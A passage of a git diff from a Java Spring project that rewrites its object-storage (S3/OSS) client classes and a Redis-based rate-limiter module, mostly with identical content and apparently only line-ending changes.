return upload(inputStream, getPath(properties.getPrefix(), suffix), length, contentType); + } + + /** + * 上传文件到 Amazon S3,使用指定的后缀构造对象键 + * + * @param file 要上传的文件 + * @param suffix 对象键的后缀 + * @return UploadResult 包含上传后的文件信息 + * @throws OssException 如果上传失败,抛出自定义异常 + */ + public UploadResult uploadSuffix(File file, String suffix) { + return upload(file.toPath(), getPath(properties.getPrefix(), suffix), null, FileUtils.getMimeType(suffix)); + } + + /** + * 获取文件输入流 + * + * @param path 完整文件路径 + * @return 输入流 + */ + public InputStream getObjectContent(String path) throws IOException { + // 下载文件到临时目录 + Path tempFilePath = fileDownload(path); + // 创建输入流 + InputStream inputStream = Files.newInputStream(tempFilePath); + // 删除临时文件 + FileUtils.del(tempFilePath); + // 返回对象内容的输入流 + return inputStream; + } + + /** + * 获取 S3 客户端的终端点 URL + * + * @return 终端点 URL + */ + public String getEndpoint() { + // 根据配置文件中的是否使用 HTTPS,设置协议头部 + String header = getIsHttps(); + // 拼接协议头部和终端点,得到完整的终端点 URL + return header + properties.getEndpoint(); + } + + /** + * 获取 S3 客户端的终端点 URL(自定义域名) + * + * @return 终端点 URL + */ + public String getDomain() { + // 从配置中获取域名、终端点、是否使用 HTTPS 等信息 + String domain = properties.getDomain(); + String endpoint = properties.getEndpoint(); + String header = getIsHttps(); + + // 如果是云服务商,直接返回域名或终端点 + if (StringUtils.containsAny(endpoint, OssConstant.CLOUD_SERVICE)) { + return StringUtils.isNotEmpty(domain) ? header + domain : header + endpoint; + } + + // 如果是 MinIO,处理域名并返回 + if (StringUtils.isNotEmpty(domain)) { + return domain.startsWith(Constants.HTTPS) || domain.startsWith(Constants.HTTP) ? domain : header + domain; + } + + // 返回终端点 + return header + endpoint; + } + + /** + * 根据传入的 region 参数返回相应的 AWS 区域 + * 如果 region 参数非空,使用 Region.of 方法创建并返回对应的 AWS 区域对象 + * 如果 region 参数为空,返回一个默认的 AWS 区域(例如,us-east-1),作为广泛支持的区域 + * + * @return 对应的 AWS 区域对象,或者默认的广泛支持的区域(us-east-1) + */ + public Region of() { + //AWS 区域字符串 + String region = properties.getRegion(); + // 如果 region 参数非空,使用 Region.of 方法创建对应的 AWS 区域对象,否则返回默认区域 + return StringUtils.isNotEmpty(region) ? Region.of(region) : Region.US_EAST_1; + } + + /** + * 获取云存储服务的URL + * + * @return 文件路径 + */ + public String getUrl() { + String domain = properties.getDomain(); + String endpoint = properties.getEndpoint(); + String header = getIsHttps(); + // 云服务商直接返回 + if (StringUtils.containsAny(endpoint, OssConstant.CLOUD_SERVICE)) { + return header + (StringUtils.isNotEmpty(domain) ? domain : properties.getBucketName() + "." + endpoint); + } + // MinIO 单独处理 + if (StringUtils.isNotEmpty(domain)) { + // 如果 domain 以 "https://" 或 "http://" 开头 + return (domain.startsWith(Constants.HTTPS) || domain.startsWith(Constants.HTTP)) ? + domain + StringUtils.SLASH + properties.getBucketName() : header + domain + StringUtils.SLASH + properties.getBucketName(); + } + return header + endpoint + StringUtils.SLASH + properties.getBucketName(); + } + + /** + * 生成一个符合特定规则的、唯一的文件路径。通过使用日期、UUID、前缀和后缀等元素的组合,确保了文件路径的独一无二性 + * + * @param prefix 前缀 + * @param suffix 后缀 + * @return 文件路径 + */ + public String getPath(String prefix, String suffix) { + // 生成uuid + String uuid = IdUtil.fastSimpleUUID(); + // 生成日期路径 + String datePath = DateUtils.datePath(); + // 拼接路径 + String path = StringUtils.isNotEmpty(prefix) ? + prefix + StringUtils.SLASH + datePath + StringUtils.SLASH + uuid : datePath + StringUtils.SLASH + uuid; + return path + suffix; + } + + /** + * 移除路径中的基础URL部分,得到相对路径 + * + * @param path 完整的路径,包括基础URL和相对路径 + * @return 去除基础URL后的相对路径 + */ + public String removeBaseUrl(String path) { + return path.replace(getUrl() + StringUtils.SLASH, ""); + } + + /** + * 服务商 + */ + public String getConfigKey() { + return configKey; + } + + /** + * 获取是否使用 HTTPS 的配置,并返回相应的协议头部。 + * + * @return 协议头部,根据是否使用 HTTPS 返回 "https://" 或 "http://" + */ + public String getIsHttps() { + return OssConstant.IS_HTTPS.equals(properties.getIsHttps()) ? Constants.HTTPS : Constants.HTTP; + } + + /** + * 检查配置是否相同 + */ + public boolean checkPropertiesSame(OssProperties properties) { + return this.properties.equals(properties); + } + + /** + * 获取当前桶权限类型 + * + * @return 当前桶权限类型code + */ + public AccessPolicyType getAccessPolicy() { + return AccessPolicyType.getByType(properties.getAccessPolicy()); + } + +} diff --git a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/entity/UploadResult.java b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/entity/UploadResult.java index 81a18e6..2673dcf 100644 --- a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/entity/UploadResult.java +++ b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/entity/UploadResult.java @@ -1,30 +1,30 @@ -package org.dromara.common.oss.entity; - -import lombok.Builder; -import lombok.Data; - -/** - * 上传返回体 - * - * @author Lion Li - */ -@Data -@Builder -public class UploadResult { - - /** - * 文件路径 - */ - private String url; - - /** - * 文件名 - */ - private String filename; - - /** - * 已上传对象的实体标记(用来校验文件) - */ - private String eTag; - -} +package org.dromara.common.oss.entity; + +import lombok.Builder; +import lombok.Data; + +/** + * 上传返回体 + * + * @author Lion Li + */ +@Data +@Builder +public class UploadResult { + + /** + * 文件路径 + */ + private String url; + + /** + * 文件名 + */ + private String filename; + + /** + * 已上传对象的实体标记(用来校验文件) + */ + private String eTag; + +} diff --git a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/enumd/AccessPolicyType.java b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/enumd/AccessPolicyType.java index a257bba..710a955 100644 --- a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/enumd/AccessPolicyType.java +++ b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/enumd/AccessPolicyType.java @@ -1,56 +1,56 @@ -package org.dromara.common.oss.enumd; - -import lombok.AllArgsConstructor; -import lombok.Getter; -import software.amazon.awssdk.services.s3.model.BucketCannedACL; -import software.amazon.awssdk.services.s3.model.ObjectCannedACL; - -/** - * 桶访问策略配置 - * - * @author 陈賝 - */ -@Getter -@AllArgsConstructor -public enum AccessPolicyType { - - /** - * private - */ - PRIVATE("0", BucketCannedACL.PRIVATE, ObjectCannedACL.PRIVATE), - - /** - * public - */ - PUBLIC("1", BucketCannedACL.PUBLIC_READ_WRITE, ObjectCannedACL.PUBLIC_READ_WRITE), - - /** - * custom - */ - CUSTOM("2", BucketCannedACL.PUBLIC_READ, ObjectCannedACL.PUBLIC_READ); - - /** - * 桶 权限类型(数据库值) - */ - private final String type; - - /** - * 桶 权限类型 - */ - private final BucketCannedACL bucketCannedACL; - - /** - * 文件对象 权限类型 - */ - private final ObjectCannedACL objectCannedACL; - - public static AccessPolicyType getByType(String type) { - for (AccessPolicyType value : values()) { - if (value.getType().equals(type)) { - return value; - } - } - throw new RuntimeException("'type' not found By " + type); - } - -} +package org.dromara.common.oss.enumd; + +import lombok.AllArgsConstructor; +import lombok.Getter; +import software.amazon.awssdk.services.s3.model.BucketCannedACL; +import software.amazon.awssdk.services.s3.model.ObjectCannedACL; + +/** + * 桶访问策略配置 + * + * @author 陈賝 + */ +@Getter +@AllArgsConstructor +public enum AccessPolicyType { + + /** + * private + */ + PRIVATE("0", BucketCannedACL.PRIVATE, ObjectCannedACL.PRIVATE), + + /** + * public + */ + PUBLIC("1", BucketCannedACL.PUBLIC_READ_WRITE, ObjectCannedACL.PUBLIC_READ_WRITE), + + /** + * custom + */ + CUSTOM("2", BucketCannedACL.PUBLIC_READ, ObjectCannedACL.PUBLIC_READ); + + /** + * 桶 权限类型(数据库值) + */ + private final String type; + + /** + * 桶 权限类型 + */ + private final BucketCannedACL bucketCannedACL; + + /** + * 文件对象 权限类型 + */ + private final ObjectCannedACL objectCannedACL; + + public static AccessPolicyType getByType(String type) { + for (AccessPolicyType value : values()) { + if (value.getType().equals(type)) { + return value; + } + } + throw new RuntimeException("'type' not found By " + type); + } + +} diff --git a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/exception/OssException.java b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/exception/OssException.java index 52e9623..f9be672 100644 --- a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/exception/OssException.java +++ b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/exception/OssException.java @@ -1,19 +1,19 @@ -package org.dromara.common.oss.exception; - -import java.io.Serial; - -/** - * OSS异常类 - * - * @author Lion Li - */ -public class OssException extends RuntimeException { - - @Serial - private static final long serialVersionUID = 1L; - - public OssException(String msg) { - super(msg); - } - -} +package org.dromara.common.oss.exception; + +import java.io.Serial; + +/** + * OSS异常类 + * + * @author Lion Li + */ +public class OssException extends RuntimeException { + + @Serial + private static final long serialVersionUID = 1L; + + public OssException(String msg) { + super(msg); + } + +} diff --git a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/factory/OssFactory.java b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/factory/OssFactory.java index 3da1ba5..81fff5c 100644 --- a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/factory/OssFactory.java +++ b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/factory/OssFactory.java @@ -1,73 +1,73 @@ -package org.dromara.common.oss.factory; - -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.oss.constant.OssConstant; -import org.dromara.common.oss.core.OssClient; -import org.dromara.common.oss.exception.OssException; -import org.dromara.common.oss.properties.OssProperties; -import org.dromara.common.redis.utils.CacheUtils; -import org.dromara.common.redis.utils.RedisUtils; - -import java.util.Map; -import java.util.concurrent.ConcurrentHashMap; -import java.util.concurrent.locks.ReentrantLock; - -/** - * 文件上传Factory - * - * @author Lion Li - */ -@Slf4j -public class OssFactory { - - private static final Map CLIENT_CACHE = new ConcurrentHashMap<>(); - private static final ReentrantLock LOCK = new ReentrantLock(); - - /** - * 获取默认实例 - */ - public static OssClient instance() { - // 获取redis 默认类型 - String configKey = RedisUtils.getCacheObject(OssConstant.DEFAULT_CONFIG_KEY); - if (StringUtils.isEmpty(configKey)) { - throw new OssException("文件存储服务类型无法找到!"); - } - return instance(configKey); - } - - /** - * 根据类型获取实例 - */ - public static OssClient instance(String configKey) { - String json = CacheUtils.get(CacheNames.SYS_OSS_CONFIG, configKey); - if (json == null) { - throw new OssException("系统异常, '" + configKey + "'配置信息不存在!"); - } - OssProperties properties = JsonUtils.parseObject(json, OssProperties.class); - // 使用租户标识避免多个租户相同key实例覆盖 - String key = configKey; - if (StringUtils.isNotBlank(properties.getTenantId())) { - key = properties.getTenantId() + ":" + configKey; - } - OssClient client = CLIENT_CACHE.get(key); - // 客户端不存在或配置不相同则重新构建 - if (client == null || !client.checkPropertiesSame(properties)) { - LOCK.lock(); - try { - client = CLIENT_CACHE.get(key); - if (client == null || !client.checkPropertiesSame(properties)) { - CLIENT_CACHE.put(key, new OssClient(configKey, properties)); - log.info("创建OSS实例 key => {}", configKey); - return CLIENT_CACHE.get(key); - } - } finally { - LOCK.unlock(); - } - } - return client; - } - -} +package org.dromara.common.oss.factory; + +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.oss.constant.OssConstant; +import org.dromara.common.oss.core.OssClient; +import org.dromara.common.oss.exception.OssException; +import org.dromara.common.oss.properties.OssProperties; +import org.dromara.common.redis.utils.CacheUtils; +import org.dromara.common.redis.utils.RedisUtils; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.locks.ReentrantLock; + +/** + * 文件上传Factory + * + * @author Lion Li + */ +@Slf4j +public class OssFactory { + + private static final Map CLIENT_CACHE = new ConcurrentHashMap<>(); + private static final ReentrantLock LOCK = new ReentrantLock(); + + /** + * 获取默认实例 + */ + public static OssClient instance() { + // 获取redis 默认类型 + String configKey = RedisUtils.getCacheObject(OssConstant.DEFAULT_CONFIG_KEY); + if (StringUtils.isEmpty(configKey)) { + throw new OssException("文件存储服务类型无法找到!"); + } + return instance(configKey); + } + + /** + * 根据类型获取实例 + */ + public static OssClient instance(String configKey) { + String json = CacheUtils.get(CacheNames.SYS_OSS_CONFIG, configKey); + if (json == null) { + throw new OssException("系统异常, '" + configKey + "'配置信息不存在!"); + } + OssProperties properties = JsonUtils.parseObject(json, OssProperties.class); + // 使用租户标识避免多个租户相同key实例覆盖 + String key = configKey; + if (StringUtils.isNotBlank(properties.getTenantId())) { + key = properties.getTenantId() + ":" + configKey; + } + OssClient client = CLIENT_CACHE.get(key); + // 客户端不存在或配置不相同则重新构建 + if (client == null || !client.checkPropertiesSame(properties)) { + LOCK.lock(); + try { + client = CLIENT_CACHE.get(key); + if (client == null || !client.checkPropertiesSame(properties)) { + CLIENT_CACHE.put(key, new OssClient(configKey, properties)); + log.info("创建OSS实例 key => {}", configKey); + return CLIENT_CACHE.get(key); + } + } finally { + LOCK.unlock(); + } + } + return client; + } + +} diff --git a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/properties/OssProperties.java b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/properties/OssProperties.java index cb37206..04e342f 100644 --- a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/properties/OssProperties.java +++ b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/properties/OssProperties.java @@ -1,63 +1,63 @@ -package org.dromara.common.oss.properties; - -import lombok.Data; - -/** - * OSS对象存储 配置属性 - * - * @author Lion Li - */ -@Data -public class OssProperties { - - /** - * 租户id - */ - private String tenantId; - - /** - * 访问站点 - */ - private String endpoint; - - /** - * 自定义域名 - */ - private String domain; - - /** - * 前缀 - */ - private String prefix; - - /** - * ACCESS_KEY - */ - private String accessKey; - - /** - * SECRET_KEY - */ - private String secretKey; - - /** - * 存储空间名 - */ - private String bucketName; - - /** - * 存储区域 - */ - private String region; - - /** - * 是否https(Y=是,N=否) - */ - private String isHttps; - - /** - * 桶权限类型(0private 1public 2custom) - */ - private String accessPolicy; - -} +package org.dromara.common.oss.properties; + +import lombok.Data; + +/** + * OSS对象存储 配置属性 + * + * @author Lion Li + */ +@Data +public class OssProperties { + + /** + * 租户id + */ + private String tenantId; + + /** + * 访问站点 + */ + private String endpoint; + + /** + * 自定义域名 + */ + private String domain; + + /** + * 前缀 + */ + private String prefix; + + /** + * ACCESS_KEY + */ + private String accessKey; + + /** + * SECRET_KEY + */ + private String secretKey; + + /** + * 存储空间名 + */ + private String bucketName; + + /** + * 存储区域 + */ + private String region; + + /** + * 是否https(Y=是,N=否) + */ + private String isHttps; + + /** + * 桶权限类型(0private 1public 2custom) + */ + private String accessPolicy; + +} diff --git a/ruoyi-common/ruoyi-common-ratelimiter/pom.xml b/ruoyi-common/ruoyi-common-ratelimiter/pom.xml index bbde940..9db7b24 100644 --- a/ruoyi-common/ruoyi-common-ratelimiter/pom.xml +++ b/ruoyi-common/ruoyi-common-ratelimiter/pom.xml @@ -1,30 +1,30 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-ratelimiter - - - ruoyi-common-ratelimiter 限流功能 - - - - - org.dromara - ruoyi-common-core - - - - org.dromara - ruoyi-common-redis - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-ratelimiter + + + ruoyi-common-ratelimiter 限流功能 + + + + + org.dromara + ruoyi-common-core + + + + org.dromara + ruoyi-common-redis + + + + diff --git a/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/annotation/RateLimiter.java b/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/annotation/RateLimiter.java index 79272d4..9eceec6 100644 --- a/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/annotation/RateLimiter.java +++ b/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/annotation/RateLimiter.java @@ -1,47 +1,47 @@ -package org.dromara.common.ratelimiter.annotation; - -import org.dromara.common.ratelimiter.enums.LimitType; - -import java.lang.annotation.*; - -/** - * 限流注解 - * - * @author Lion Li - */ -@Target(ElementType.METHOD) -@Retention(RetentionPolicy.RUNTIME) -@Documented -public @interface RateLimiter { - /** - * 限流key,支持使用Spring el表达式来动态获取方法上的参数值 - * 格式类似于 #code.id #{#code} - */ - String key() default ""; - - /** - * 限流时间,单位秒 - */ - int time() default 60; - - /** - * 限流次数 - */ - int count() default 100; - - /** - * 限流类型 - */ - LimitType limitType() default LimitType.DEFAULT; - - /** - * 提示消息 支持国际化 格式为 {code} - */ - String message() default "{rate.limiter.message}"; - - /** - * 限流策略超时时间 默认一天(策略存活时间 会清除已存在的策略数据) - */ - int timeout() default 86400; - -} +package org.dromara.common.ratelimiter.annotation; + +import org.dromara.common.ratelimiter.enums.LimitType; + +import java.lang.annotation.*; + +/** + * 限流注解 + * + * @author Lion Li + */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface RateLimiter { + /** + * 限流key,支持使用Spring el表达式来动态获取方法上的参数值 + * 格式类似于 #code.id #{#code} + */ + String key() default ""; + + /** + * 限流时间,单位秒 + */ + int time() default 60; + + /** + * 限流次数 + */ + int count() default 100; + + /** + * 限流类型 + */ + LimitType limitType() default LimitType.DEFAULT; + + /** + * 提示消息 支持国际化 格式为 {code} + */ + String message() default "{rate.limiter.message}"; + + /** + * 限流策略超时时间 默认一天(策略存活时间 会清除已存在的策略数据) + */ + int timeout() default 86400; + +} diff --git a/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/aspectj/RateLimiterAspect.java b/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/aspectj/RateLimiterAspect.java index 2d6d82e..9d196f6 100644 --- a/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/aspectj/RateLimiterAspect.java +++ b/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/aspectj/RateLimiterAspect.java @@ -1,112 +1,112 @@ -package org.dromara.common.ratelimiter.aspectj; - -import lombok.extern.slf4j.Slf4j; -import org.aspectj.lang.JoinPoint; -import org.aspectj.lang.annotation.Aspect; -import org.aspectj.lang.annotation.Before; -import org.aspectj.lang.reflect.MethodSignature; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MessageUtils; -import org.dromara.common.core.utils.ServletUtils; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.ratelimiter.annotation.RateLimiter; -import org.dromara.common.ratelimiter.enums.LimitType; -import org.dromara.common.redis.utils.RedisUtils; -import org.redisson.api.RateType; -import org.springframework.context.expression.BeanFactoryResolver; -import org.springframework.context.expression.MethodBasedEvaluationContext; -import org.springframework.core.DefaultParameterNameDiscoverer; -import org.springframework.core.ParameterNameDiscoverer; -import org.springframework.expression.Expression; -import org.springframework.expression.ExpressionParser; -import org.springframework.expression.ParserContext; -import org.springframework.expression.common.TemplateParserContext; -import org.springframework.expression.spel.standard.SpelExpressionParser; - -import java.lang.reflect.Method; - -/** - * 限流处理 - * - * @author Lion Li - */ -@Slf4j -@Aspect -public class RateLimiterAspect { - - /** - * 定义spel表达式解析器 - */ - private final ExpressionParser parser = new SpelExpressionParser(); - /** - * 定义spel解析模版 - */ - private final ParserContext parserContext = new TemplateParserContext(); - /** - * 方法参数解析器 - */ - private final ParameterNameDiscoverer pnd = new DefaultParameterNameDiscoverer(); - - - @Before("@annotation(rateLimiter)") - public void doBefore(JoinPoint point, RateLimiter rateLimiter) { - int time = rateLimiter.time(); - int count = rateLimiter.count(); - int timeout = rateLimiter.timeout(); - try { - String combineKey = getCombineKey(rateLimiter, point); - RateType rateType = RateType.OVERALL; - if (rateLimiter.limitType() == LimitType.CLUSTER) { - rateType = RateType.PER_CLIENT; - } - long number = RedisUtils.rateLimiter(combineKey, rateType, count, time, timeout); - if (number == -1) { - String message = rateLimiter.message(); - if (StringUtils.startsWith(message, "{") && StringUtils.endsWith(message, "}")) { - message = MessageUtils.message(StringUtils.substring(message, 1, message.length() - 1)); - } - throw new ServiceException(message); - } - log.info("限制令牌 => {}, 剩余令牌 => {}, 缓存key => '{}'", count, number, combineKey); - } catch (Exception e) { - if (e instanceof ServiceException) { - throw e; - } else { - throw new RuntimeException("服务器限流异常,请稍候再试", e); - } - } - } - - private String getCombineKey(RateLimiter rateLimiter, JoinPoint point) { - String key = rateLimiter.key(); - // 判断 key 不为空 和 不是表达式 - if (StringUtils.isNotBlank(key) && StringUtils.containsAny(key, "#")) { - MethodSignature signature = (MethodSignature) point.getSignature(); - Method targetMethod = signature.getMethod(); - Object[] args = point.getArgs(); - MethodBasedEvaluationContext context = - new MethodBasedEvaluationContext(null, targetMethod, args, pnd); - context.setBeanResolver(new BeanFactoryResolver(SpringUtils.getBeanFactory())); - Expression expression; - if (StringUtils.startsWith(key, parserContext.getExpressionPrefix()) - && StringUtils.endsWith(key, parserContext.getExpressionSuffix())) { - expression = parser.parseExpression(key, parserContext); - } else { - expression = parser.parseExpression(key); - } - key = expression.getValue(context, String.class); - } - StringBuilder stringBuffer = new StringBuilder(GlobalConstants.RATE_LIMIT_KEY); - stringBuffer.append(ServletUtils.getRequest().getRequestURI()).append(":"); - if (rateLimiter.limitType() == LimitType.IP) { - // 获取请求ip - stringBuffer.append(ServletUtils.getClientIP()).append(":"); - } else if (rateLimiter.limitType() == LimitType.CLUSTER) { - // 获取客户端实例id - stringBuffer.append(RedisUtils.getClient().getId()).append(":"); - } - return stringBuffer.append(key).toString(); - } -} +package org.dromara.common.ratelimiter.aspectj; + +import lombok.extern.slf4j.Slf4j; +import org.aspectj.lang.JoinPoint; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.aspectj.lang.reflect.MethodSignature; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MessageUtils; +import org.dromara.common.core.utils.ServletUtils; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.ratelimiter.annotation.RateLimiter; +import org.dromara.common.ratelimiter.enums.LimitType; +import org.dromara.common.redis.utils.RedisUtils; +import org.redisson.api.RateType; +import org.springframework.context.expression.BeanFactoryResolver; +import org.springframework.context.expression.MethodBasedEvaluationContext; +import org.springframework.core.DefaultParameterNameDiscoverer; +import org.springframework.core.ParameterNameDiscoverer; +import org.springframework.expression.Expression; +import org.springframework.expression.ExpressionParser; +import org.springframework.expression.ParserContext; +import org.springframework.expression.common.TemplateParserContext; +import org.springframework.expression.spel.standard.SpelExpressionParser; + +import java.lang.reflect.Method; + +/** + * 限流处理 + * + * @author Lion Li + */ +@Slf4j +@Aspect +public class RateLimiterAspect { + + /** + * 定义spel表达式解析器 + */ + private final ExpressionParser parser = new SpelExpressionParser(); + /** + * 定义spel解析模版 + */ + private final ParserContext parserContext = new TemplateParserContext(); + /** + * 方法参数解析器 + */ + private final ParameterNameDiscoverer pnd = new DefaultParameterNameDiscoverer(); + + + @Before("@annotation(rateLimiter)") + public void doBefore(JoinPoint point, RateLimiter rateLimiter) { + int time = rateLimiter.time(); + int count = rateLimiter.count(); + int timeout = rateLimiter.timeout(); + try { + String combineKey = getCombineKey(rateLimiter, point); + RateType rateType = RateType.OVERALL; + if (rateLimiter.limitType() == LimitType.CLUSTER) { + rateType = RateType.PER_CLIENT; + } + long number = RedisUtils.rateLimiter(combineKey, rateType, count, time, timeout); + if (number == -1) { + String message = rateLimiter.message(); + if (StringUtils.startsWith(message, "{") && StringUtils.endsWith(message, "}")) { + message = MessageUtils.message(StringUtils.substring(message, 1, message.length() - 1)); + } + throw new ServiceException(message); + } + log.info("限制令牌 => {}, 剩余令牌 => {}, 缓存key => '{}'", count, number, combineKey); + } catch (Exception e) { + if (e instanceof ServiceException) { + throw e; + } else { + throw new RuntimeException("服务器限流异常,请稍候再试", e); + } + } + } + + private String getCombineKey(RateLimiter rateLimiter, JoinPoint point) { + String key = rateLimiter.key(); + // 判断 key 不为空 和 不是表达式 + if (StringUtils.isNotBlank(key) && StringUtils.containsAny(key, "#")) { + MethodSignature signature = (MethodSignature) point.getSignature(); + Method targetMethod = signature.getMethod(); + Object[] args = point.getArgs(); + MethodBasedEvaluationContext context = + new MethodBasedEvaluationContext(null, targetMethod, args, pnd); + context.setBeanResolver(new BeanFactoryResolver(SpringUtils.getBeanFactory())); + Expression expression; + if (StringUtils.startsWith(key, parserContext.getExpressionPrefix()) + && StringUtils.endsWith(key, parserContext.getExpressionSuffix())) { + expression = parser.parseExpression(key, parserContext); + } else { + expression = parser.parseExpression(key); + } + key = expression.getValue(context, String.class); + } + StringBuilder stringBuffer = new StringBuilder(GlobalConstants.RATE_LIMIT_KEY); + stringBuffer.append(ServletUtils.getRequest().getRequestURI()).append(":"); + if (rateLimiter.limitType() == LimitType.IP) { + // 获取请求ip + stringBuffer.append(ServletUtils.getClientIP()).append(":"); + } else if (rateLimiter.limitType() == LimitType.CLUSTER) { + // 获取客户端实例id + stringBuffer.append(RedisUtils.getClient().getId()).append(":"); + } + return stringBuffer.append(key).toString(); + } +} diff --git a/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/config/RateLimiterConfig.java b/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/config/RateLimiterConfig.java index 4b7e5b7..2db0746 100644 --- a/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/config/RateLimiterConfig.java +++ b/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/config/RateLimiterConfig.java @@ -1,20 +1,20 @@ -package org.dromara.common.ratelimiter.config; - -import org.dromara.common.ratelimiter.aspectj.RateLimiterAspect; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.context.annotation.Bean; -import org.springframework.data.redis.connection.RedisConfiguration; - -/** - * @author guangxin - * @date 2023/1/18 - */ -@AutoConfiguration(after = RedisConfiguration.class) -public class RateLimiterConfig { - - @Bean - public RateLimiterAspect rateLimiterAspect() { - return new RateLimiterAspect(); - } - -} +package org.dromara.common.ratelimiter.config; + +import org.dromara.common.ratelimiter.aspectj.RateLimiterAspect; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.data.redis.connection.RedisConfiguration; + +/** + * @author guangxin + * @date 2023/1/18 + */ +@AutoConfiguration(after = RedisConfiguration.class) +public class RateLimiterConfig { + + @Bean + public RateLimiterAspect rateLimiterAspect() { + return new RateLimiterAspect(); + } + +} diff --git a/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/enums/LimitType.java b/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/enums/LimitType.java index b7f059f..010c36b 100644 --- a/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/enums/LimitType.java +++ b/ruoyi-common/ruoyi-common-ratelimiter/src/main/java/org/dromara/common/ratelimiter/enums/LimitType.java @@ -1,24 +1,24 @@ -package org.dromara.common.ratelimiter.enums; - -/** - * 限流类型 - * - * @author ruoyi - */ - -public enum LimitType { - /** - * 默认策略全局限流 - */ - DEFAULT, - - /** - * 根据请求者IP进行限流 - */ - IP, - - /** - * 实例限流(集群多后端实例) - */ - CLUSTER -} +package org.dromara.common.ratelimiter.enums; + +/** + * 限流类型 + * + * @author ruoyi + */ + +public enum LimitType { + /** + * 默认策略全局限流 + */ + DEFAULT, + + /** + * 根据请求者IP进行限流 + */ + IP, + + /** + * 实例限流(集群多后端实例) + */ + CLUSTER +} diff --git a/ruoyi-common/ruoyi-common-ratelimiter/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-ratelimiter/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index 3b95432..40d9f92 100644 --- a/ruoyi-common/ruoyi-common-ratelimiter/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-ratelimiter/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.ratelimiter.config.RateLimiterConfig +org.dromara.common.ratelimiter.config.RateLimiterConfig diff --git a/ruoyi-common/ruoyi-common-ratelimiter/src/main/resources/spel-extension.json b/ruoyi-common/ruoyi-common-ratelimiter/src/main/resources/spel-extension.json index 64a0e1b..b16432b 100644 --- a/ruoyi-common/ruoyi-common-ratelimiter/src/main/resources/spel-extension.json +++ b/ruoyi-common/ruoyi-common-ratelimiter/src/main/resources/spel-extension.json @@ -1,7 +1,7 @@ -{ - "org.dromara.common.ratelimiter.annotation.RateLimiter@key": { - "method": { - "parameters": true - } - } -} +{ + "org.dromara.common.ratelimiter.annotation.RateLimiter@key": { + "method": { + "parameters": true + } + } +} diff --git 